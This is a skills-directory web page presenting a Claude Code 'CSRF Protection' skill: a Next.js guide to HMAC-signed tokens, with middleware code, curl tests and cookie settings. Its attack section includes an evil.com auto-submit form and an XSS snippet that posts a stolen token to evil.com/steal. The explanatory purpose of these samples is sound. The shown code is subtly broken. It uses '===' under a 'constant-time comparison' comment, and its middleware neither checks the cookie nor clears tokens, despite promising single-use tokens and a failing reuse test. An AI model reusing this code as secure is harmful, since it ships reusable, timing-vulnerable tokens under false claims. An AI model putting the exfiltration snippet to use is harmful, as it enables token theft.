CAT
/Skills
SkillsMCPMarketplacesDigestToolsAdvertise

This week in Claude

Every Monday: Claude Code, Agent SDK, MCP, and the Anthropic platform moves worth your time.

Skills by Category
Frontend DevelopmentBackend & APIsTesting & QASecurityDevOps & CI/CDGit & Pull RequestsDocumentationCode Review & QualityAI & Agent BuildingSkill Development
MCP Servers by Category
Sales & MarketingWeb & Browser AutomationDatabasesAI & LLM ToolsCloud & InfrastructureCommunication & MessagingDeveloper ToolsDesign & CreativeDocuments & KnowledgeSearch & Web Crawling
Marketplaces by Category
AI Agents & OrchestrationLLM IntegrationDevelopment ToolsFrontend & UIBackend & APIsDatabasesTesting & Code QualityDevOps & CloudSecurity & ComplianceGit & Version Control

Cross AI Tools

Discover Claude Code plugins, extensions, and tools. Automatically updated directory of Anthropic Claude AI marketplaces with development tools, productivity plugins, and integrations.

Resources

  • Browse Skills
  • Browse MCP Servers
  • Browse Marketplaces
  • Plugins Reference

Community

  • About
  • Tools
  • Feedback
  • Privacy Policy
  • Advertise

Built for the Claude Code community with Claude Code by @mertduzgun

Independent project, not affiliated with Anthropic

Csrf Protection

harperaa/secure-claude-skills
158 installs8 stars
Summary

This wraps your Next.js API routes with CSRF protection using HMAC-SHA256 signed tokens that are session-bound and single-use. You fetch a token from /api/csrf before making POST/PUT/DELETE requests, include it in the X-CSRF-Token header, and withCsrf() handles verification automatically. The implementation is solid: HTTP-only cookies, SameSite=Strict, and tokens that expire after one use. Honestly, CSRF protection is one of those things that's easy to skip because nothing breaks without it, but the documentation here does a good job explaining why it matters with real examples like the 2008 router hijacking attacks. Works well layered with rate limiting for things like contact forms or account changes.

Install to Claude Code

npx -y skills add harperaa/secure-claude-skills --skill csrf-protection --agent claude-code

Installs into .claude/skills of the current project.

CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
Files
SKILL.mdView on GitHub

CSRF Protection - Preventing Cross-Site Request Forgery

What CSRF Attacks Are

The Attack Scenario

Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.

This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.

Real-World CSRF Attacks

Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.

YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.

Why CSRF Is Still Common

According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?

  • It's invisible when it works (users don't know they made a request)
  • Easy to forget to implement (no obvious broken functionality)
  • Developers often rely solely on authentication without checking request origin

Our CSRF Architecture

Implementation Features

  1. HMAC-SHA256 Cryptographic Signing (industry standard)

    • Provides cryptographic proof token was generated by our server
    • Even if intercepted, attackers can't forge tokens without secret key
  2. Session-Bound Tokens

    • Tokens can't be used across different user sessions
    • Each user gets unique tokens
  3. Single-Use Tokens

    • Token cleared after validation
    • Window of opportunity is seconds, not hours
    • If captured, useless after one request
  4. HTTP-Only Cookies

    • JavaScript cannot access tokens
    • Prevents XSS-based token theft
  5. SameSite=Strict

    • Browser won't send cookie on cross-origin requests
    • Additional layer of protection

Implementation Files

  • lib/csrf.ts - Cryptographic token generation
  • lib/withCsrf.ts - Middleware enforcing verification
  • app/api/csrf/route.ts - Token endpoint for clients

How to Use CSRF Protection

Step 1: Wrap Your Handler

For any POST/PUT/DELETE endpoint:

import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';

async function handler(request: NextRequest) {
  // Your business logic here
  // Token automatically verified by withCsrf

  return NextResponse.json({ success: true });
}

// Apply CSRF protection
export const POST = withCsrf(handler);

export const config = {
  runtime: 'nodejs', // Required for crypto operations
};

Step 2: Client-Side Token Fetching

Before making a protected request, fetch the CSRF token:

// Fetch CSRF token
const response = await fetch('/api/csrf', {
  credentials: 'include'
});
const { csrfToken } = await response.json();

// Use token in POST request
await fetch('/api/your-endpoint', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken // Include token in header
  },
  credentials: 'include', // Important: send cookies
  body: JSON.stringify(data)
});

Step 3: What Happens Automatically

When withCsrf() wraps your handler:

  1. Extracts CSRF token from X-CSRF-Token header
  2. Extracts CSRF cookie from request
  3. Verifies token matches cookie using HMAC
  4. Clears token after validation (single-use)
  5. If valid → calls your handler
  6. If invalid → returns HTTP 403 Forbidden

Complete Example: Protected Contact Form

// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';

async function contactHandler(request: NextRequest) {
  try {
    const body = await request.json();

    // Validate input
    const validation = validateRequest(contactFormSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { name, email, subject, message } = validation.data;

    // Process contact form
    await sendEmail({
      to: 'admin@example.com',
      from: email,
      subject,
      message
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'contact-form');
  }
}

// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));

export const config = {
  runtime: 'nodejs',
};

Frontend Integration Example

// components/ContactForm.tsx
'use client';

import { useState } from 'react';

export function ContactForm() {
  const [formData, setFormData] = useState({
    name: '',
    email: '',
    subject: '',
    message: ''
  });

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault();

    try {
      // 1. Fetch CSRF token
      const csrfRes = await fetch('/api/csrf', {
        credentials: 'include'
      });
      const { csrfToken } = await csrfRes.json();

      // 2. Submit form with token
      const response = await fetch('/api/contact', {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          'X-CSRF-Token': csrfToken
        },
        credentials: 'include',
        body: JSON.stringify(formData)
      });

      if (response.ok) {
        alert('Message sent successfully!');
        setFormData({ name: '', email: '', subject: '', message: '' });
      } else if (response.status === 403) {
        alert('Security validation failed. Please refresh and try again.');
      } else if (response.status === 429) {
        alert('Too many requests. Please wait a moment.');
      } else {
        alert('Failed to send message. Please try again.');
      }
    } catch (error) {
      console.error('Error:', error);
      alert('An error occurred. Please try again.');
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <input
        type="text"
        placeholder="Name"
        value={formData.name}
        onChange={(e) => setFormData({ ...formData, name: e.target.value })}
        required
      />
      <input
        type="email"
        placeholder="Email"
        value={formData.email}
        onChange={(e) => setFormData({ ...formData, email: e.target.value })}
        required
      />
      <input
        type="text"
        placeholder="Subject"
        value={formData.subject}
        onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
        required
      />
      <textarea
        placeholder="Message"
        value={formData.message}
        onChange={(e) => setFormData({ ...formData, message: e.target.value })}
        required
      />
      <button type="submit">Send Message</button>
    </form>
  );
}

Attack Scenarios & Protection

Attack 1: Malicious Website Submits Form

Attack:

<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
  <input type="hidden" name="confirm" value="yes" />
</form>
<script>
  document.forms[0].submit(); // Auto-submit
</script>

Protection:

  • No CSRF token in request → withCsrf() returns 403
  • User's account safe

Attack 2: XSS Attempts to Read Token

Attack:

// Attacker injects script via XSS
fetch('/api/csrf')
  .then(r => r.json())
  .then(data => {
    // Send token to attacker
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: data.csrfToken })
    });
  });

Protection:

  • Token is single-use
  • Even if stolen, expires after one request
  • HTTPOnly cookies prevent cookie theft
  • SameSite=Strict prevents cross-origin cookie sending

Attack 3: Man-in-the-Middle Captures Token

Attack: Attacker intercepts network traffic and captures CSRF token.

Protection:

  • Single-use tokens become invalid after one use
  • HTTPS required in production (enforced by HSTS)
  • Short window of opportunity (seconds)

Technical Implementation Details

Token Generation (lib/csrf.ts)

import { createHmac, randomBytes } from 'crypto';

export function generateCsrfToken(sessionId: string): string {
  const secret = process.env.CSRF_SECRET;
  if (!secret) {
    throw new Error('CSRF_SECRET not configured');
  }

  // Generate random token
  const token = randomBytes(32).toString('base64url');

  // Create HMAC signature
  const hmac = createHmac('sha256', secret)
    .update(`${token}:${sessionId}`)
    .digest('base64url');

  // Return token:hmac
  return `${token}.${hmac}`;
}

export function verifyCsrfToken(
  token: string,
  sessionId: string
): boolean {
  const secret = process.env.CSRF_SECRET;
  if (!secret || !token) return false;

  const [tokenPart, hmacPart] = token.split('.');
  if (!tokenPart || !hmacPart) return false;

  // Recreate HMAC
  const expectedHmac = createHmac('sha256', secret)
    .update(`${tokenPart}:${sessionId}`)
    .digest('base64url');

  // Constant-time comparison to prevent timing attacks
  return hmacPart === expectedHmac;
}

Middleware Wrapper (lib/withCsrf.ts)

import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';

export function withCsrf(
  handler: (request: NextRequest) => Promise<NextResponse>
) {
  return async (request: NextRequest) => {
    // Get token from header
    const token = request.headers.get('X-CSRF-Token');

    // Get session ID from cookie (simplified)
    const sessionId = request.cookies.get('sessionId')?.value;

    if (!token || !sessionId) {
      return NextResponse.json(
        { error: 'CSRF token missing' },
        { status: 403 }
      );
    }

    // Verify token
    if (!verifyCsrfToken(token, sessionId)) {
      return NextResponse.json(
        { error: 'CSRF token invalid' },
        { status: 403 }
      );
    }

    // Token valid - call handler
    return handler(request);
  };
}

What CSRF Protection Prevents

✅ Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents

Common Mistakes to Avoid

❌ DON'T skip CSRF for POST/PUT/DELETE

// BAD - No CSRF protection
export async function POST(request: NextRequest) {
  // Vulnerable!
}

❌ DON'T put CSRF tokens in URL parameters

// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)

❌ DON'T reuse tokens

// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid

❌ DON'T forget credentials: 'include'

// BAD - Cookies won't be sent
fetch('/api/endpoint', {
  headers: { 'X-CSRF-Token': token }
  // Missing: credentials: 'include'
});

✅ DO fetch fresh token for each sensitive operation ✅ DO use X-CSRF-Token header (not URL) ✅ DO apply to all state-changing operations ✅ DO combine with rate limiting for maximum protection

Testing CSRF Protection

Test 1: Valid Request

# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use token
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Expected: 200 OK

Test 2: Missing Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token missing

Test 3: Invalid Token

curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: fake-token-12345" \
  -d '{"title": "test"}'

# Expected: 403 Forbidden - CSRF token invalid

Test 4: Token Reuse (Should Fail)

# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
  -c cookies.txt | jq -r '.csrfToken')

# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test"}'

# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
  -b cookies.txt \
  -H "X-CSRF-Token: $TOKEN" \
  -d '{"title": "test2"}'

# Expected: 403 Forbidden - Token already used

Secure Cookie Configuration

Cookie Security Settings

For any custom cookies in your application, always use these secure settings:

response.cookies.set('cookie-name', value, {
  httpOnly: true,                                    // Prevent XSS access
  sameSite: 'strict',                                // CSRF protection
  secure: process.env.NODE_ENV === 'production',    // HTTPS only in prod
  maxAge: 3600,                                      // Expiration (1 hour)
  path: '/',                                         // Cookie scope
});

Security Properties Explained:

  • httpOnly: true - JavaScript cannot access the cookie via document.cookie, preventing XSS theft
  • sameSite: 'strict' - Browser won't send cookie on cross-origin requests, blocking CSRF
  • secure: true - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
  • maxAge - Cookie expiration time in seconds (shorter = more secure)
  • path: '/' - Where cookie is valid (restrict if possible)

Common Cookie Mistakes to Avoid

❌ NEVER do this:

// BAD - Missing security flags
response.cookies.set('session', sessionId);

// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });

// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });

// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });

✅ ALWAYS do this:

// GOOD - All security flags
response.cookies.set('session', sessionId, {
  httpOnly: true,
  sameSite: 'strict',
  secure: process.env.NODE_ENV === 'production',
  maxAge: 3600, // 1 hour
  path: '/'
});

Environment Configuration

Required Environment Variables

# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>

Generate Secrets

# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"

⚠️ IMPORTANT:

  • Never commit secrets to version control
  • Use different secrets for dev/staging/production
  • Rotate secrets periodically (quarterly recommended)

References

  • OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  • OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
  • MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite

Next Steps

  • For rate limiting protection: Use rate-limiting skill
  • For input validation: Use input-validation skill
  • For complete API security: Combine CSRF + rate limiting + validation
  • For testing: Use security-testing skill
Featured
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
Categories
Security
First SeenJun 3, 2026
View on GitHub

Recommended

More Security →
owasp-security

hoodini/ai-agents-skills

Implement secure coding practices following OWASP Top 10. Use when preventing security vulnerabilities, implementing authentication, securing APIs, or conducting security reviews. Triggers on OWASP, security, XSS, SQL injection, CSRF, authentication security, secure coding, vulnerability.
2k
225
security-and-hardening

addyosmani/agent-skills

Hardens code against vulnerabilities. Use when handling user input, authentication, data storage, or external integrations. Use when building any feature that accepts untrusted data, manages user sessions, or interacts with third-party services.
4.3k
54.5k
unit-test-security-authorization

giuseppe-trisciuoglio/developer-kit

unit test security authorization
1.1k
265
owasp-security-check

sergiodxa/agent-skills

owasp security check
921
87
owasp-security

agamm/claude-code-owasp

This is a comprehensive security reference that teaches Claude the OWASP Top 10:2025, plus the LLM and Agentic AI security frameworks.
815
231
api-security-hardening

aj-geddes/useful-ai-prompts

api security hardening
653
245